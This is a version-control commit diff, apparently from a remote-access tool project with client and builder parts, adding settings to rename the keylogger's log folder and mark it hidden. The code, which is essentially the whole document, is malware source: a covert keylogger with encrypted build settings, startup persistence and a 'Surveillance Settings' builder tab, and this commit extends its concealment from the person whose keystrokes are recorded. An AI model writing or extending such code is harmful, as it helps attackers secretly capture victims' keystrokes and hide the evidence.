Keylogger Enhancement

Added option to change name of the log directory and to hide it.
This commit is contained in:
Crash129 2015-09-18 16:09:24 +02:00
parent 9cbdcd87fb
commit e8a5313de2
7 changed files with 93 additions and 2 deletions

View File

@ -25,6 +25,8 @@ namespace xClient.Config
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static bool HIDELOGDIRECTORY = false;
public static bool Initialize()
{
@ -48,6 +50,8 @@ namespace xClient.Config
public static bool ENABLELOGGER = true;
public static string ENCRYPTIONKEY = "ENCKEY";
public static string TAG = "RELEASE";
public static string LOGDIRECTORYNAME = "Logs";
public static bool HIDELOGDIRECTORY = false;
public static bool Initialize()
{
@ -61,6 +65,7 @@ namespace xClient.Config
INSTALLNAME = AES.Decrypt(INSTALLNAME);
MUTEX = AES.Decrypt(MUTEX);
STARTUPKEY = AES.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = AES.Decrypt(LOGDIRECTORYNAME);
FixDirectory();
return true;
}

View File

@ -8,6 +8,7 @@ using xClient.Core.Helper;
using xClient.Core.MouseKeyHook;
using xClient.Core.Networking;
using Timer = System.Timers.Timer;
using xClient.Config;
namespace xClient.Core.Utilities
{
@ -30,7 +31,7 @@ namespace xClient.Core.Utilities
/// <summary>
/// The directory where the log files will be saved.
/// </summary>
public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Logs\\"); } }
public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME); } }
private readonly Timer _timerFlush;
private StringBuilder _logFileBuffer;
@ -248,8 +249,19 @@ namespace xClient.Core.Utilities
try
{
DirectoryInfo di;
if (!Directory.Exists(LogDirectory))
Directory.CreateDirectory(LogDirectory);
{
di = Directory.CreateDirectory(LogDirectory);
}
else
{
di = new DirectoryInfo(LogDirectory);
}
if(Settings.HIDELOGDIRECTORY)
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
if (!File.Exists(fileName))
writeHeader = true;

View File

@ -68,6 +68,9 @@ namespace xServer.Core.Build
case 9: //tag
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
case 10: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
break;
}
strings++;
}
@ -88,6 +91,9 @@ namespace xServer.Core.Build
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
case 5: //HideLogDirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
}
bools++;
}

View File

@ -20,5 +20,7 @@
public int Delay { get; set; }
public short InstallPath { get; set; }
public string[] AssemblyInformation { get; set; }
public string LogDirectoryName { get; set; }
public bool HideLogDirectory { get; set; }
}
}

View File

@ -203,6 +203,30 @@ namespace xServer.Core.Data
}
}
public string LogDirectoryName
{
get
{
return ReadValueSafe("LogDirectoryName");
}
set
{
WriteValue("LogDirectoryName", value);
}
}
public bool HideLogDirectory
{
get
{
return bool.Parse(ReadValueSafe("HideLogDirectory", "False"));
}
set
{
WriteValue("HideLogDirectory", value.ToString());
}
}
public string ProductName
{
get

View File

@ -118,6 +118,9 @@
this.lblTrademarks = new System.Windows.Forms.Label();
this.txtCopyright = new System.Windows.Forms.TextBox();
this.surveillanceTab = new System.Windows.Forms.TabPage();
this.chkHideLogDirectory = new System.Windows.Forms.CheckBox();
this.txtLogDirectoryName = new System.Windows.Forms.TextBox();
this.lblLogDirectory = new System.Windows.Forms.Label();
this.line10 = new xServer.Controls.Line();
this.label14 = new System.Windows.Forms.Label();
this.chkKeylogger = new System.Windows.Forms.CheckBox();
@ -1021,6 +1024,9 @@
// surveillanceTab
//
this.surveillanceTab.BackColor = System.Drawing.SystemColors.Control;
this.surveillanceTab.Controls.Add(this.chkHideLogDirectory);
this.surveillanceTab.Controls.Add(this.txtLogDirectoryName);
this.surveillanceTab.Controls.Add(this.lblLogDirectory);
this.surveillanceTab.Controls.Add(this.line10);
this.surveillanceTab.Controls.Add(this.label14);
this.surveillanceTab.Controls.Add(this.chkKeylogger);
@ -1030,6 +1036,35 @@
this.surveillanceTab.TabIndex = 3;
this.surveillanceTab.Text = "Surveillance Settings";
//
// chkHideLogDirectory
//
this.chkHideLogDirectory.AutoSize = true;
this.chkHideLogDirectory.Location = new System.Drawing.Point(316, 72);
this.chkHideLogDirectory.Name = "chkHideLogDirectory";
this.chkHideLogDirectory.Size = new System.Drawing.Size(64, 17);
this.chkHideLogDirectory.TabIndex = 44;
this.chkHideLogDirectory.Text = "Hidden";
this.chkHideLogDirectory.UseVisualStyleBackColor = true;
this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// txtLogDirectoryName
//
this.txtLogDirectoryName.Location = new System.Drawing.Point(262, 44);
this.txtLogDirectoryName.Name = "txtLogDirectoryName";
this.txtLogDirectoryName.Size = new System.Drawing.Size(118, 22);
this.txtLogDirectoryName.TabIndex = 43;
this.txtLogDirectoryName.Text = "Logs";
this.txtLogDirectoryName.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblLogDirectory
//
this.lblLogDirectory.AutoSize = true;
this.lblLogDirectory.Location = new System.Drawing.Point(17, 47);
this.lblLogDirectory.Name = "lblLogDirectory";
this.lblLogDirectory.Size = new System.Drawing.Size(110, 13);
this.lblLogDirectory.TabIndex = 42;
this.lblLogDirectory.Text = "Log Directory Name:";
//
// line10
//
this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
@ -1189,5 +1224,8 @@
private System.Windows.Forms.Button btnBrowseIcon;
private System.Windows.Forms.TextBox txtIconPath;
private System.Windows.Forms.PictureBox iconPreview;
private System.Windows.Forms.Label lblLogDirectory;
private System.Windows.Forms.TextBox txtLogDirectoryName;
private System.Windows.Forms.CheckBox chkHideLogDirectory;
}
}

View File

@ -77,6 +77,8 @@ namespace xServer.Forms
profile.IconPath = txtIconPath.Text;
profile.ChangeAsmInfo = chkChangeAsmInfo.Checked;
profile.Keylogger = chkKeylogger.Checked;
profile.LogDirectoryName = txtLogDirectoryName.Text;
profile.HideLogDirectory = chkHideLogDirectory.Checked;
profile.ProductName = txtProductName.Text;
profile.Description = txtDescription.Text;
profile.CompanyName = txtCompanyName.Text;
@ -269,6 +271,8 @@ namespace xServer.Forms
options.Startup = chkStartup.Checked;
options.HideFile = chkHide.Checked;
options.Keylogger = chkKeylogger.Checked;
options.LogDirectoryName = txtLogDirectoryName.Text;
options.HideLogDirectory = chkHideLogDirectory.Checked;
if (options.Password.Length < 3)
{